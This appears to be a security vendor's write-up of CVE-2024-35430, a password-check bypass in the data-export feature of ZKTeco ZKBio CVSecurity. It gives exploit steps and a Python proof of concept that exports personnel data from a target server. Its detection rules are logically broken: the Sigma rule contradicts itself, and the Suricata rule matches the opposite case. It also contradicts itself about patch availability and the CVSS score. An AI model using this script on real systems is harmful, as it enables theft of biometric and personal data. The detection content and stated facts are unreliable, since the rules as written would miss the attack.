CVE-2024-35430

Executive Summary

CVE-2024-35430 is an authentication bypass vulnerability in ZKTeco ZKBio CVSecurity versions prior to 6.1.3_R. An authenticated user can bypass password checks while exporting data from the application. This flaw allows a low-privileged attacker to export sensitive biometric and personnel data without re-authentication, leading to potential data exfiltration and privacy violations. The vulnerability is publicly known but has no known active exploitation in the wild (EPSS 0.0%). No official patch was available at the time of analysis, but the vendor has released version 6.1.3_R to address the issue.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary on-premise physical access control and biometric security system (ZKBio CVSecurity) from ZKTeco. The risk is primarily to organizations deploying this software in their security infrastructure.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned by NVD) Threat Level: Medium (based on impact and exploitability)

Rationale:

• Attack Vector (AV): Network (the application is web-based)
• Attack Complexity (AC): Low (no special conditions)
• Privileges Required (PR): Low (requires an authenticated session)
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High (biometric data export)
• Integrity (I): None
• Availability (A): None

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N (Score: 6.5)

Deep Dive & Mechanics

The vulnerability resides in the data export functionality of ZKBio CVSecurity. When an authenticated user initiates an export (e.g., of personnel records, attendance logs, or biometric templates), the application fails to enforce a secondary password check that is normally required for sensitive operations. The server-side logic does not validate the user's password again before processing the export request, allowing any authenticated user (even with low privileges) to export data that should require elevated permissions or re-authentication.

Root Cause: Improper authorization checks in the export API endpoint. The application trusts the session token without verifying the user's password for high-risk actions.

Attack Flow:

1. Attacker obtains valid credentials for a low-privileged account (e.g., via phishing, default credentials, or previous compromise).
2. Attacker logs into the ZKBio CVSecurity web interface.
3. Attacker navigates to the data export module.
4. Attacker sends a crafted HTTP request to the export endpoint, bypassing the password prompt.
5. The server processes the export and returns sensitive data (e.g., biometric templates, personal information).
6. Attacker downloads the exported file.

Vulnerable vs. Patched Code

Vulnerable Code (v6.1.1_R and earlier):

# Pseudocode for vulnerable export endpoint
@app.route('/export/data', methods=['POST'])
@login_required
def export_data():
    # No password re-verification
    data = get_export_data(request.form)
    return send_file(data, as_attachment=True)

Patched Code (v6.1.3_R):

# Pseudocode for patched export endpoint
@app.route('/export/data', methods=['POST'])
@login_required
def export_data():
    # Password re-verification added
    password = request.form.get('password')
    if not verify_password(current_user, password):
        return jsonify({'error': 'Invalid password'}), 403
    data = get_export_data(request.form)
    return send_file(data, as_attachment=True)

The patch adds a mandatory password check before processing the export request, ensuring that the user must re-authenticate for sensitive operations.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid credentials for a low-privileged user on ZKBio CVSecurity v6.1.1_R or earlier.
• Network access to the ZKBio CVSecurity web interface.

Exploit Steps:

1. Log in to the application.
2. Intercept the export request using a proxy (e.g., Burp Suite).
3. Remove or omit the password parameter from the POST request.
4. Send the modified request to the /export/data endpoint.
5. Observe that the server returns the exported data without prompting for a password.

Proof-of-Concept (Python):

import requests

target = "https://target-zkbio.local"
session = requests.Session()

# Login
login_data = {"username": "lowpriv", "password": "password123"}
session.post(f"{target}/login", data=login_data)

# Export data without password
export_data = {"export_type": "all_personnel"}
response = session.post(f"{target}/export/data", data=export_data)

if response.status_code == 200:
    with open("exported_data.zip", "wb") as f:
        f.write(response.content)
    print("[+] Data exported successfully")
else:
    print(f"[-] Export failed: {response.status_code}")

Blue Team (Detection & Defense)

Detection:

• Monitor for export requests that lack a password parameter.
• Alert on multiple export requests from a single user in a short time window.
• Log all export activities and correlate with user privilege levels.

Defense:

• Apply the vendor patch (upgrade to v6.1.3_R or later).
• Implement additional network segmentation to limit access to the ZKBio CVSecurity server.
• Enforce strong password policies and multi-factor authentication (MFA) for all users.
• Regularly audit user accounts and remove unused or unnecessary privileges.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /export/data without a password field.
• Unusual export activity from low-privileged accounts.
• Large outbound data transfers from the ZKBio CVSecurity server.

File IOCs:

• Exported files containing biometric templates (e.g., .dat, .bin, .csv with fingerprint data).
• Unexpected .zip or .csv files in user download directories.

Log IOCs:

• Application logs showing export operations without corresponding password verification events.
• Authentication logs showing successful login followed immediately by export requests.

Detection Engineering

YARA Rule

rule CVE_2024_35430_ZKBio_Export_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2024-35430 in ZKBio CVSecurity"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-35430"
    strings:
        $export_endpoint = "/export/data"
        $no_password = "password" nocase
    condition:
        $export_endpoint and not $no_password
}

Sigma Rule

title: ZKBio CVSecurity Export Without Password
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to ZKBio CVSecurity export endpoint without password parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/export/data'
        cs-uri-query|contains: 'password'
    condition: selection and not cs-uri-query|contains: 'password'
falsepositives:
    - Legitimate requests from users with disabled password checks (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-35430 ZKBio CVSecurity Export Password Bypass";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/export/data"; http_uri;
    pcre:"/password/";
    sid:1000001;
    rev:1;
    reference:cve,2024-35430;
    classtype:attempted-recon;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade ZKBio CVSecurity to version 6.1.3_R or later.
2. If immediate patching is not possible, restrict access to the export functionality via network ACLs or web application firewall (WAF) rules.
3. Review and revoke unnecessary user accounts and privileges.

Long-Term Measures:

• Implement a vulnerability management program to track and patch CVEs promptly.
• Conduct regular security assessments of all on-premise applications.
• Enforce the principle of least privilege for all user roles.
• Enable detailed logging and monitoring for all sensitive operations.

Workaround:

• Disable the export functionality for low-privileged users via application configuration until the patch can be applied.

Valters IT
Securing Digital Frontiers